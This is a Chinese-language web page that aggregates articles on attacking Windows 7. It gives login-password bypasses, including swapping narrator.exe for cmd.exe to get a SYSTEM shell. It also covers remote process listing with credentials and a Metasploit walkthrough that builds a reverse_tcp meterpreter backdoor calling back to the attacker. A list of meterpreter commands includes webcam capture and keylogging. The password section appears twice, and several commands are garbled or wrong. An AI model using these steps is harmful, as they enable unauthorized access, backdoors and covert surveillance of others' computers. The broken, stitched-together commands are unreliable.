本文目录一览:
Win7被黑客破解密码了,怎么办
一、重装系统,电脑被黑,说明存在安全漏洞, 而且有可能被安装木马程序,因此建议直接重装。
二、如果觉得重装麻烦,可以破解密码,进入系统后再进行木马查杀。破解密码可以参考如下方法:
方法一:
1、如果电脑开机就到欢迎界面的时候,看到出现输入用户名密码的提示框,按Ctrl+Alt+Delete,会弹出帐号窗口,输入用户名:administrator,然后回车即可;
2、如果这个administrator帐号也有密码的话,那么在win7系统启动的时候按F8,选择“带命令行的安全模式”,接着继续选择“Administrator”,然后会弹出“Command Prompt”窗口,输入下面代码(asd代表新添加的系统管理员帐户名,根据个人情况自己设置):
增加用户:net user asd /add
升管理员:net localgroup administrators asd /add
3、然后重新启动一下电脑,选择asd用户进入后,再依次进入“控制面板----用户帐号----忘记密码的用户--删除密吗”即可。
方法二:
1、因为cmd在系统的目录下,文件的更改首先要获得文件的所有权。方法是:打开“C:/windows /system32”(假设Win7系统是安装在E盘,然后鼠标右击“narrator.exe”,依次选择“权限”—高级——所有者“,将当前win7下管理员帐号设置为所有者(如果在列表没有当前帐号的话,就单击”其他账户“,手动输入当前账户名),单击”确定“返回权限设置窗口,点击”添加“按钮,将当前管理员帐户添加到列表中去,并将账户对该文件读取权限设置为”完全控制“;
2、接着继续跟上面同样的步骤,设置当前账户对”cmd.exe“权限为完全控制,然后将 ”narrator.exe“重命名为”narrator1.exe“,”cmd.exe“重命名为”narrator.exe“;
3、(如果是以administrator账户登录的就不用这一步了)重启登录 Windows7,在登录界面单击右下角的”轻松访问“按钮,在打开的窗口勾选”启动讲述人“选项,此时启动的就是cmd窗口了(是以system身份开启的,所以自然有管理员权限),然后在cmd输入下面的命令开启administrator账户,重启就可使用administrator了:net user administrator /active:yes这是强制开启 administrator账户net user administrator 123456 /add这是强制将用户 administrator密码改为123456
4、administrator账户无法使用,那么就重新创建一个和adminstrator一样权限的用户,然后再重启登录Windows7,在登录界面单击右下角的”轻松访问“按钮,在打开的窗口勾选”启动讲述人“,启动cmd窗口,输入:net user admin 123 /add 回车;net localgroupa dministrators admin /add回车;
5、最后重启一下电脑,进入admin账户就可以开机了。
黑客们是如何查看远程电脑win7系统进程?
想知道黑客们是如何查看远程电脑win7系统进程的吗?方法很简单,黑客可以通过很多命令获得远程电脑的进程列表,进而能够判断出自己植入的木马等程序是否在运行……
在“命令提示符”窗口中输人如下类似(格式相同,IP地址、账户Administrator和密码780316要换)命令:
Tasklist
/s
192.100.100.10
/u
Administrator
/p
780316
在使用上述命令后,稍等片刻后就可以从如图所示信息中,得到远程电脑反馈回来的进程列表信息了。
远程进程列表
其中“/s”参数后的“192.100.100.10”是指要査看的远程系统的IP地址;“/u”参数后的
“Administrator”
是指
Tasklist
命令使用的用户账户;“/P”参数后的“780316”是指Administrator账户的密码^这几项内容均需要根据实际情况进行变更。
看黑客怎么使用Metasploit进行渗透windows7的
很多朋友对使用Metasploit利用后门程序进行渗透windows7都比较感兴趣,针对这些以下业内相关专家就给大家介绍下,当下黑客怎么利用Metasploit进行渗透windows7的。设定目标主机为:cn_win7_x86_7601虚拟机,地址为:192.168.0.116;而本地主机就为:192.168.0.149。方法步骤一:黑客用Msfpayload直接生成相关的后门程序,如下图。sfpayloadwindows/meterpreter/reverse_tcpLHOST=192.168.0.149xsteup.exe方法步骤二:黑客直接就能进入所在的目录并将属性进行修改,换为允许以程序执行文件,详细如下图。进入所在目录,修改属性:选择“允许以程序执行文件”,这时候也可以做一些免杀方法步骤三:接着黑客就打开msfconsole并加载exploit/multi/handler模块并进行设置本地主机,最后就能开始进行监听了,详细情况如下图。打开msfconsole,加载exploit/multi/handler模块,设置本地主机;然后开始监听:exploit-z-j:方法步骤四:黑客需要能将程序直接拷贝都目标主机中并进行执行。方法步骤五:以上步骤全部完成后黑客就能通过后门程序反向连接到msf,用msf就能发起第2次的攻击然后使用客户端也就是后门程序就能连接都服务端msf,详细的如下图。Meterpreter就是metasploit框架中的一个扩展模块,因此的话溢出成功后黑客就能攻击载荷进行使用,一旦攻击载荷在溢出攻击成功后就能再返回一个控制通道,这样就能将它作为攻击载荷成功获得目标系统的一个meterpretershell的链接。另外,附meterpreter常用命令:getsystem#会自动利用各种各样的系统漏洞来进行权限提升migrate#进程id进程迁移background#把当前的会话设置为背景,需要的时候在启用getuid#查看对方正在运行的用户ps#列出所有的进程getpid#返回运行meterpreter的id号sysinfo#产看系统信息和体系结构shell#切换到cmd的系统权限方式exit#退出shell会话返回meterpreter或终止meterpretergetdesktop截取目标主机当前桌面会话窗口runwebcam-p/var/www#在/var/www目录监控目标主机的摄像头keylog_recorder#使用migrate将会话迁移至explorer.exe的进程空间后记录键盘
电脑被黑客设了密码怎么破解win7
1、如果确定被黑客入侵,果断重装即可,安装的时候最好换一个系统安装盘,安装完成打好补丁,下载杀软做好系统防护,一定要给系统管理员设置一个复杂密码,所谓复杂密码简单的理解有字母、数字、特殊符号组成的密码。
2、如果自己对电脑比较了解,或者希望研究被入侵系统分析系统安全,则可以参考如下密码破解方法:
方法一:
1、如果电脑开机就到欢迎界面的时候,看到出现输入用户名密码的提示框,按Ctrl+Alt+Delete,会弹出帐号窗口,输入用户名:administrator,然后回车即可;
2、如果这个administrator帐号也有密码的话,那么在win7系统启动的时候按F8,选择“带命令行的安全模式”,接着继续选择“Administrator”,然后会弹出“Command Prompt”窗口,输入下面代码(asd代表新添加的系统管理员帐户名,根据个人情况自己设置):
增加用户:net user asd /add
升管理员:net localgroup administrators asd /add
3、然后重新启动一下电脑,选择asd用户进入后,再依次进入“控制面板----用户帐号----忘记密码的用户--删除密吗”即可。
方法二:
1、因为cmd在系统的目录下,文件的更改首先要获得文件的所有权。方法是:打开“C:/windows /system32”(假设Win7系统是安装在E盘,然后鼠标右击“narrator.exe”,依次选择“权限”—高级——所有者“,将当前win7下管理员帐号设置为所有者(如果在列表没有当前帐号的话,就单击”其他账户“,手动输入当前账户名),单击”确定“返回权限设置窗口,点击”添加“按钮,将当前管理员帐户添加到列表中去,并将账户对该文件读取权限设置为”完全控制“;
2、接着继续跟上面同样的步骤,设置当前账户对”cmd.exe“权限为完全控制,然后将 ”narrator.exe“重命名为”narrator1.exe“,”cmd.exe“重命名为”narrator.exe“;
3、(如果是以administrator账户登录的就不用这一步了)重启登录 Windows7,在登录界面单击右下角的”轻松访问“按钮,在打开的窗口勾选”启动讲述人“选项,此时启动的就是cmd窗口了(是以system身份开启的,所以自然有管理员权限),然后在cmd输入下面的命令开启administrator账户,重启就可使用administrator了:net user administrator /active:yes这是强制开启 administrator账户net user administrator 123456 /add这是强制将用户 administrator密码改为123456
4、administrator账户无法使用,那么就重新创建一个和adminstrator一样权限的用户,然后再重启登录Windows7,在登录界面单击右下角的”轻松访问“按钮,在打开的窗口勾选”启动讲述人“,启动cmd窗口,输入:net user admin 123 /add 回车;net localgroupa dministrators admin /add回车;
5、最后重启一下电脑,进入admin账户就可以开机了。